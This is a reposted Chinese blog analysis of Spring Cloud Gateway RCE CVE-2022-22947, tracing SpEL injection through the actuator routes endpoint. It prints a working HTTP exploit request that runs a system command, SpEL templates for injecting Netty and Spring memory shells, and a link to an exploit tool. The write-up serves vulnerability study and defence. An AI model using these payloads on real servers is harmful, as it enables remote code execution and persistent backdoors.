ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

spring cloud gateway rce(CVE-2022-22947)分析

2022-08-23 15:05:34  阅读:235  来源: 互联网

标签:java spring springframework gateway 22947 2022 org poc cloud


环境搭建

https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.0.6

漏洞分析

该漏洞造成原因是因为配置可写+SPEL表达式的解析导致的

SpEL表达式的触发方式有3种,xml,注释,直接传参。这里基本不可能是将恶意poc传到注释中,或者写入到xml中,所以触发方式应该是将输入poc当做某个函数的参数传入其中的,而SpEL表达式的解析的方法为SpelExpressionParser.parseExpression()函数

全局检索这个危险函数

初步定位到org/springframework/cloud/gateway/support/ShortcutConfigurable.java中的49行函数,此处的的entryValue为传入执行参数,因此需要追踪该参数的传入路径。

往上跟踪会发现在其自定义的,normalize()函数中会传从args中取出值放入到getValue()函数中

继续跟踪发现值从this.properties参数传入

打上断点,使用refresh的会将poc执行触发漏洞,查看堆栈信息

刚开始的入口为org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.java的refresh controller控制器,进入逻辑

接下来就是定位参数值从哪里获取了,因为是分析1day漏洞,知道poc怎么写,大致清楚是从route的配置信息中获取的,这里的值也是从org/springframework/cloud/gateway/support/ConfigurationService.javathis.properties中获取的,查看该成员变量的赋值情况

查看传入处,可以定位到definition变量,这个变量是从filter中获取的值,通过for循环一个个的往properties中传

因为该漏洞是多步触发,这个filter的属性一定是以内存,文本,数据库之一的形式暂存的,此次的debug跟踪只能找到读取来源,可以看到从gatewayproperties中获取

接下来看看最先传入的逻辑,也就是post路由

跟进设置处的代码,仅检测url中的路由中的id是否为空,并且会将id设置为route,其他内容可以自由发挥

尝试发送空的json的数据包,符合格式,但可以从log中看到包含的参数有predicates,filters,url,order,metadata

将数据包发过去并refresh,发现报错,报错内容中最后出错处提示需要uri参数

注意: 这时候需要将其路由使用delete删除,不然后面的所有refresh都会报错,也就是说之前的poc如果有错误,需要delete,不然后续即使写到其他路由也会在refresh执行时报错

带上uri参数,就没报错了,并且成功回显了

再次跟踪refresh执行SpEL表达式的逻辑,带上filter参数,成功执行命令

再次请求可以返回命令信息,所以必要参数是uri,而网上公布的poc中的id参数并不是必要的

至于传入poc的参数为filters,debug调试,查看调用处逻辑,在此处传入的合法字段有predicates,filters,uri,metadata,order

这里面的filters和predicates为数组,uri为uri类型并且已经被处理过,无法注入恶意poc,注入恶意poc也会报错,而predicates不会走到SpEL表达式逻辑。

而filters中的name值也有一定的要求,必须是在以下类中的名称,非这个类的方法名称测会在post时候会进行报错

org/springframework/cloud/gateway/route/builder/GatewayFilterSpec.java

整理如下,均会执行SpEL的表达式

能回显
AddRequestHeader
AddRequestParameter
AddResponseHeader
SetRequestHeader
SetResponseHeader

不能回显
DedupeResponseHeader
MapRequestHeader
ModifyRequestBody
ModifyResponseBody
PreserveHostHeader
PrefixPath
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
SecureHeaders
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri

最终poc如下

POST /actuator/gateway/routes/a HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Content-Type: application/json
Content-Length: 267

{
"uri":"lb://httpbin",
"filters":[{
	"name":"SetResponseHeader",
	"args":{
		"name":"a",
		"value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
	}
}
]
}

注入内存马的上下文信息可以参考

https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg

https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html

内存马分为2个层级一个是netty中间件级的内存马,一个是spring框架层的内存马,加载机制无非是通过classloader去加载base64解码后的字节码,然后进行运行注入到内存中

//netty
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

//spring
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}

输出成脚本工具

https://github.com/SiJiDo/CVE-2022-22947

标签:java,spring,springframework,gateway,22947,2022,org,poc,cloud
来源: https://www.cnblogs.com/sijidou/p/16616162.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有